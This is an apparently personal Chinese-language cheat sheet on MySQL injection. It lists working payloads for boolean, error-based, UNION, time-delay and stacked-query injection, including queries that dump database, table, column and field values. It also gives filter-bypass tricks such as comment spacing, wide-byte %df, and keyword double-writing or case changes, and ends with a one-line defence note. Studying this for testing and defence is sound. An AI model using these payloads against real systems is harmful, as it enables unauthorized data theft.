1、MYSQL注入原理:用户输入的内容被当作sql语句来执行
2、MYSQL注入实战心得:一试参数,二试类型,三试绕过
一试参数:任何注入参数,都需确定其类型(数字还是字符),此处指的是注入参数的类型(***)
常用测试字符:引号(单双),圆括号,引号加圆括号......
二试类型:五大类(BEUST):布尔型盲注、报错型注入、UNION联合查询型注入、时间延迟型盲注、堆查询注入
布尔型盲注:and 1=1 , and 1=2 , or 1=1 , or 1=2 ......
报错型注入:
floor:and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
updatexml:and 1=updatexml(1,concat(0x7e,(select database())),1)
extractvalue:and 1=extractvalue(1,concat(0x7e,(select database())))
......
UNION联合查询型注入:
order by n //定字段,n为正整数
union select 1,2,3...... //看回显,无回显的时候尝试让union前的语句报错(@@@&&****)
回显位爆库,表,字段,值,以第二位为回显位举例,常用命令如下所示:
union select 1,group_concat(schema_name),3 from information_schema.schemata //爆库
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()//爆表
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘表名‘//爆字段
union select 1,group_concat(字段1,0x3a,字段2),3 from 表名 //爆值,0x3a是用来分隔字段的,方便我们查看
时间延迟型注入:根据页面响应延迟来判断,测试参数:and sleep(5)
注入方法(猜解法):
and if(length(database())>‘5‘,sleep(5),0) //猜解库名长度
and if(ord(mid(database(),1,1))>100,sleep(5),0) //猜库名第一个字符
......此处借助sqlmap会更好一些
堆查询注入:同时执行多条sql语句,可以执行增删改查语句,不同语句以分号隔开
三试绕过:就是不断地尝试,简单说几个
绕过空格:+,/**/,双重空格,回车换行符(%0a,%a0),宽字节(%df),圆括号
绕过union,select等关键字:大小写,双写(uniounionn,unionunion),内联注释(/*!union*/),编码
绕过and、or:&&,||,%26%26,大小写,双写关键字(anandd,andand),编码
......
3、MYSQL注入防御方法:黑白名单严格过滤用户输入的内容;使用参数化查询;使用sql注入安全防护设备